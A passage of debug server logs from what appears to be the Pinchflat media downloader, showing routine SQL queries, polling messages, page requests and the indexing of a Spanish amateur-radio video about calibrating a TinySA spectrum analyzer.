(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1422] 23:13:15.988 [debug] Current batch of media processed. Will check again in 1000ms 23:13:16.067 [debug] Current batch of media processed. Will check again in 1000ms 23:13:16.988 [debug] Current batch of media processed. Will check again in 1000ms 23:13:17.068 [debug] Current batch of media processed. Will check again in 1000ms 23:13:17.989 [debug] Current batch of media processed. Will check again in 1000ms 23:13:18.069 [debug] Current batch of media processed. Will check again in 1000ms 23:13:18.990 [debug] Current batch of media processed. Will check again in 1000ms 23:13:19.070 [debug] Current batch of media processed. Will check again in 1000ms 23:13:19.991 [debug] Current batch of media processed. Will check again in 1000ms 23:13:20.071 [debug] Current batch of media processed. Will check again in 1000ms 23:13:20.992 [debug] Current batch of media processed. Will check again in 1000ms 23:13:21.072 [debug] Current batch of media processed. Will check again in 1000ms 23:13:21.366 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:21.993 [debug] Current batch of media processed. Will check again in 1000ms 23:13:22.073 [debug] Current batch of media processed. Will check again in 1000ms 23:13:22.994 [debug] Current batch of media processed. Will check again in 1000ms 23:13:23.074 [debug] Current batch of media processed. Will check again in 1000ms 23:13:23.995 [debug] Current batch of media processed. Will check again in 1000ms 23:13:24.075 [debug] Current batch of media processed. Will check again in 1000ms 23:13:24.996 [debug] Current batch of media processed. Will check again in 1000ms 23:13:25.076 [debug] Current batch of media processed. Will check again in 1000ms 23:13:25.997 [debug] Current batch of media processed. Will check again in 1000ms 23:13:26.077 [debug] Current batch of media processed. Will check again in 1000ms 23:13:26.998 [debug] Current batch of media processed. Will check again in 1000ms 23:13:27.078 [debug] Current batch of media processed. Will check again in 1000ms 23:13:27.999 [debug] Current batch of media processed. Will check again in 1000ms 23:13:28.079 [debug] Current batch of media processed. Will check again in 1000ms 23:13:29.000 [debug] Current batch of media processed. Will check again in 1000ms 23:13:29.080 [debug] Current batch of media processed. Will check again in 1000ms 23:13:30.001 [debug] Current batch of media processed. Will check again in 1000ms 23:13:30.081 [debug] Current batch of media processed. Will check again in 1000ms 23:13:31.002 [debug] Current batch of media processed. Will check again in 1000ms 23:13:31.082 [debug] Current batch of media processed. Will check again in 1000ms 23:13:32.003 [debug] Current batch of media processed. Will check again in 1000ms 23:13:32.083 [debug] Current batch of media processed. Will check again in 1000ms 23:13:33.004 [debug] Current batch of media processed. Will check again in 1000ms 23:13:33.084 [debug] Current batch of media processed. Will check again in 1000ms 23:13:34.005 [debug] Current batch of media processed. Will check again in 1000ms 23:13:34.085 [debug] Current batch of media processed. Will check again in 1000ms 23:13:35.006 [debug] Current batch of media processed. Will check again in 1000ms 23:13:35.086 [debug] Current batch of media processed. Will check again in 1000ms 23:13:36.007 [debug] Current batch of media processed. Will check again in 1000ms 23:13:36.087 [debug] Current batch of media processed. Will check again in 1000ms 23:13:37.008 [debug] Current batch of media processed. Will check again in 1000ms 23:13:37.088 [debug] Current batch of media processed. Will check again in 1000ms 23:13:38.009 [debug] Current batch of media processed. Will check again in 1000ms 23:13:38.089 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este vídeo veremos como actualizar el firmware del TinySA, un analizador de espectro de bajo coste, y como hacer la calibración básica.La calibración avanzada la mostraremos en la segunda parte en unos dias.\n\n#tinySA #hamradio #radioaficionados #analizador #espectro #rf #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2059, "filename" => "/downloads/music/ea3grn/092 - COMO ACTUALIZAR Y CALIBRAR EL ANALIZADOR DE ESPECTRO TINYSA (PARTE 1).m4a", "id" => "bOhW1x8CzJA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bOhW1x8CzJA", "playlist_index" => 89, "timestamp" => 1664467232, "title" => "092 - COMO ACTUALIZAR Y CALIBRAR EL ANALIZADOR DE ESPECTRO TINYSA (PARTE 1)", "upload_date" => "20220929"} 23:13:38.090 [debug] QUERY OK source="sources" db=0.6ms idle=1147.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:13:38.092 [debug] QUERY OK source="sources" db=0.5ms idle=304.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:13:38.092 [debug] QUERY OK source="media_items" db=0.6ms idle=305.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-29 16:00:32Z], 3] 23:13:38.094 [debug] QUERY OK source="media_items" db=1.3ms idle=306.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este vídeo veremos como actualizar el firmware del TinySA, un analizador de espectro de bajo coste, y como hacer la calibración básica.La calibración avanzada la mostraremos en la segunda parte en unos dias.\n\n#tinySA #hamradio #radioaficionados #analizador #espectro #rf #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "092 - COMO ACTUALIZAR Y CALIBRAR EL ANALIZADOR DE ESPECTRO TINYSA (PARTE 1)", "c7047453-69bc-4683-9341-29dbe0ce85a7", 2059, false, "bOhW1x8CzJA", "https://www.youtube.com/watch?v=bOhW1x8CzJA", 89, "/downloads/music/ea3grn/092 - COMO ACTUALIZAR Y CALIBRAR EL ANALIZADOR DE ESPECTRO TINYSA (PARTE 1).m4a", false, false, false, 3, [], 98, ~U[2022-09-29 16:00:32Z], ~U[2026-02-07 22:13:38Z], ~U[2026-02-07 22:13:38Z], "En este vídeo veremos como actualizar el firmware del TinySA, un analizador de espectro de bajo coste, y como hacer la calibración básica.La calibración avanzada la mostraremos en la segunda parte en unos dias.\n\n#tinySA #hamradio #radioaficionados #analizador #espectro #rf #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "092 - COMO ACTUALIZAR Y CALIBRAR EL ANALIZADOR DE ESPECTRO TINYSA (PARTE 1)", 2059, false, "bOhW1x8CzJA", "https://www.youtube.com/watch?v=bOhW1x8CzJA", "/downloads/music/ea3grn/092 - COMO ACTUALIZAR Y CALIBRAR EL ANALIZADOR DE ESPECTRO TINYSA (PARTE 1).m4a", false, 3, ~U[2022-09-29 16:00:32Z]] 23:13:38.095 [debug] QUERY OK source="sources" db=0.6ms idle=149.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:13:38.096 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:13:38.097 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1487] 23:13:38.097 [debug] Current batch of media processed. Will check again in 1000ms 23:13:39.010 [debug] Current batch of media processed. Will check again in 1000ms 23:13:39.097 [debug] Current batch of media processed. Will check again in 1000ms 23:13:40.011 [debug] Current batch of media processed. Will check again in 1000ms 23:13:40.098 [debug] Current batch of media processed. Will check again in 1000ms 23:13:41.012 [debug] Current batch of media processed. Will check again in 1000ms 23:13:41.099 [debug] Current batch of media processed. Will check again in 1000ms 23:13:42.013 [debug] Current batch of media processed. Will check again in 1000ms 23:13:42.100 [debug] Current batch of media processed. Will check again in 1000ms 23:13:42.329 [info] GET /sources/5/edit 23:13:42.330 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 23:13:42.331 [debug] QUERY OK source="sources" db=0.4ms queue=0.3ms idle=544.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:13:42.333 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=545.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:13:42.335 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=548.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:42.336 [debug] QUERY OK source="settings" db=0.5ms idle=549.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:42.338 [debug] QUERY OK source="settings" db=0.5ms idle=383.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:42.345 [info] Sent 200 in 15ms 23:13:42.830 [info] GET /sources/3/edit 23:13:42.830 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 23:13:42.831 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=499.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:13:42.832 [debug] QUERY OK source="media_profiles" db=0.5ms idle=498.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:13:42.833 [debug] QUERY OK source="settings" db=0.5ms idle=496.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:42.834 [debug] QUERY OK source="settings" db=0.4ms idle=496.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:42.834 [debug] QUERY OK source="settings" db=0.4ms idle=496.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:42.837 [info] Sent 200 in 6ms 23:13:43.014 [debug] Current batch of media processed. Will check again in 1000ms 23:13:43.101 [debug] Current batch of media processed. Will check again in 1000ms 23:13:43.331 [info] GET /sources/new 23:13:43.331 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 23:13:43.332 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.3ms idle=499.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:13:43.333 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=499.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.334 [debug] QUERY OK source="settings" db=0.4ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.334 [debug] QUERY OK source="settings" db=0.3ms idle=499.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.335 [debug] QUERY OK source="settings" db=0.3ms idle=379.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.336 [debug] QUERY OK source="settings" db=0.4ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.339 [info] Sent 200 in 7ms 23:13:43.832 [info] GET /sources/2/edit 23:13:43.832 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 23:13:43.833 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=499.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:13:43.834 [debug] QUERY OK source="media_profiles" db=0.4ms idle=499.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:13:43.835 [debug] QUERY OK source="settings" db=0.6ms idle=499.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.835 [debug] QUERY OK source="settings" db=0.4ms idle=499.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.836 [debug] QUERY OK source="settings" db=0.4ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:43.839 [info] Sent 200 in 6ms 23:13:44.015 [debug] Current batch of media processed. Will check again in 1000ms 23:13:44.102 [debug] Current batch of media processed. Will check again in 1000ms 23:13:44.333 [info] GET /sources/1 23:13:44.333 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:13:44.334 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=499.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:13:44.335 [debug] QUERY OK source="media_profiles" db=0.5ms idle=499.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:13:44.336 [debug] QUERY OK source="tasks" db=0.6ms idle=499.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 23:13:44.336 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=499.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [848] 23:13:44.337 [debug] QUERY OK source="settings" db=0.3ms idle=378.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:44.338 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:44.339 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:44.340 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:13:44.342 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:13:44.343 [debug] QUERY OK source="media_items" db=1.5ms idle=4.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:13:44.344 [debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", 